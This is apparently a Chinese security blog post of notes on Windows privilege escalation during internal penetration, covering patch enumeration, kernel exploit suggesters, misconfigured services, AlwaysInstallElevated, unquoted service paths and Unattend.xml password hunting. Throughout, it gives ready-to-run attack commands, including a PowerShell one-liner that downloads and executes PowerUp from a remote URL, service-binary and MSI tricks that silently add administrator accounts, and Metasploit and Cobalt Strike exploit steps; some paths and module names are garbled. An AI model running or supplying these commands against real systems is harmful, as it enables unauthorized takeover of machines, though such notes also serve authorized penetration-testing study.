1、概述
本篇文章继续记录关于内网渗透方面提权的一些知识笔记。常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
2、内容
2.1 系统内核溢出漏洞提权
我们先说一下在windows中大概分User(普通权限)、Administrator(管理员权限)、System(系统权限)、TrustedInstaller(最高权限,可修改系统文件)。提升权限有两种方式:纵向提权,低权限角色获取高权角色的权限;横向提权,获取同级别角色的权限。
通过系统内核溢出漏洞提权一般通过已知系统漏洞或者0day进行相应攻击。
通过命令查找系统补丁信息
获得目标机器shell,查看当前权限。
whoami /groups
此时标签内容为Mandatory LabelHigh Mandatory Level代表管理员用户,Mandatory LabelMedium Mandatory Level代表是普通用户。
然后查看系统安装的补丁信息
systeminfo
通过如下命令列出已经安装补丁。
wmic qfe get Caption,Description,HotFixID,InstalledOn
根据提权exp与补丁编号对比,使用没有补丁编号的exp进行提权等操作。通过exp可对系统补丁号进行过滤查看指定补丁。
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" /C:"KB976902"
利用Metsploit查看系统补丁
使用post/windows/gather/enum_patches模块,可根据漏洞编号快速查找系统缺失补丁。
use post/windows/gather/enum_patches
set session 1
exploit
Windows-Exploit-Suggester工具
此工具可将系统安装的补丁信息与微软漏洞数据库进行比较,识别可能导致权限提升的漏洞。
该工具使用先将systeminfo保存为txt文档
systeminfo > sahx.txt
然后从微软官方下载安全公告数据库,它将数据保存为xls文件,此处脚本读取xls文件需要xlrd模块支持,版本不能太高
python windows-exploit-suggester.py --update
如果xlrd版本过高可使用下述命令回退版本
pip install xlrd==1.2.0
然后将系统补丁信息与公告信息进行比较就可以得到系统是否存在未修复的漏洞。
python windows-exploit-suggester.py -d 2023-06-25-mssb.xls -i sahx.txt
工具下载链接:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
此工具使用python2运行
由于我本机是python3,所以做了一些小的修改让工具在python3下运行。
运行环境
Python 3.8.5
xlrd==1.2.0
下载链接:公众号回复“WES”获取阿里云盘链接
还可以使用metasploit查找可利用漏洞
use post/multi/recon/local_exploit_suggester
set session 1
exploit
powershell脚本sherlock查找用于本地权限提升的漏洞
脚本下载链接
https://github.com/rasta-mouse/Sherlock
在系统shell环境中调用脚本
在调用脚本之前查看策略
Get-ExecutionPolicy
然后修改执行策略允许调用本地脚本运行
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
然后再进行导入脚本进行运行
Import-Module d:Sherlock.ps1
find-AllVulns
然后可以使用CS进行提权等操作.
elevate ms14058 smb
getuid
2.2 Windows操作系统配置错误利用
Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
2.2.1 系统服务权限配置错误(可写目录漏洞):
服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:符合大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权
PowerUp下的实战利用
PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。
脚本利用:
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/powerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
通过脚本检查可列出可能存在的所有服务,并会直接给出利用方式,比如村子啊OmniServers服务漏洞
powershell.exe -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('c:PowerUp.ps1'); Install-ServiceBinary-ServiceName 'OmniServers' -UserName shuteer -Password Password@123
重启系统,该服务将停止运行并自动添加用户。
Metasploit下的实战利用
use exploit/windows/local/service_permissions
其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。
2.2.2 注册标键AlwaysInstallElevated
注册标键AlwaysInstallElevated策略设置项,windows允许低权限用户以System权限运行安装文件。启用此策略,任何权限用户能以NT AUTHORITY/SYSTEM权限来安装恶意MSI文件。
PowerUp下的实战利用
先检查注册表键是否设置,结果为True则是已设置
powershell.exe -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:PowerUp.ps1'); Get-RegistryAlwaysInstallElevated
生成MSI文件
Write-UserAddMSI
然后以普通用户权限运行UserAdd.msi就会添加一个管理员账户
msiexec /q /i UserAdd.msi
/quiet参数 在安装过程中禁止向用户发送消息
/qn参数 不适用GUI
/i参数 安装程序
也可使用Metasploit的模块完成。
use exploiexploit/windows/local/always_install_elevated
2.2.3 可信任服务路径漏洞
该漏洞有两种可能
如果路径与服务有关,就任意创建一个服务或者编译Service模板
如果路径与执行文件有关,就任意创建一个可执行文件
Metasploit下的实战利用
检查目标机器是否存在该漏洞
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:windows\" | findstr /i /v """
上述命令列出服务器中所有没有被引号引起来的服务的路径,且路径中包含空格,因此存在可信任服务路径漏洞。
接下来检查是否有对目标文件夹的写权限,使用windows内置工具icacls。
icacls "C:Program FilesShadow Defender"
everyone: 所有用户都具有修改这个文件夹的权限
M:修改
F:完全控制
CI:从属容器将继承访问控制项
OI: 从属文件将继承访问控制项
Everyone:(OI)(CI)(F):对该文件夹用户有读、写、删除其下文件、删除其子目录的权限
确认漏洞后,将上传程序重命名并放置在此漏洞且可写的目录下,执行命令尝试重启服务
sc stop service_name
sc start service_name
metasploit使用trusted_service_path模块
search trusted_service_path
之后获取反弹shell后使用如下命令进行进程迁移
set AutoRunScript migrate -f
2.2.4 自动安装配置文件
使用命令搜索Unattend.xml文件
dir /b /s c:Unattend.xml
查看xml文件中是否包含明文密码或者经过Base64加密的密码。
可使用metasploit进行攻击
use post/windows/gather/enum_unattend
2.2.5 计划任务
查看计划任务
schtasks /query /fo LIST /v
使用工具
下载链接:http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
执行命令查看目录权限配置情况
accesschk.exe -dqv "C:Microsoft" -accepteula
自动接受许可协议
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqs Users c:
accesschk.exe -uwdqs "AuthenticatedUsers"c:
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqs Users c:*.*
accesschk.exe -uwdqs "Authenticated Users" c:*.*
2.2.6 Empire内置模块
输入查看模块列表
usemodule privesc/powerup
使用AllChecks模块执行脚本、检查系统漏洞等。
usemodule privesc/powerup/allchecks
execute
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):内网(笔记)-权限提升
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论